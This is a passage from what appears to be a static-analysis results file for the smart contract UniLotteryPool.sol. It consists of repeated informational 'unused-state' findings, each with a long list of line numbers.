7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 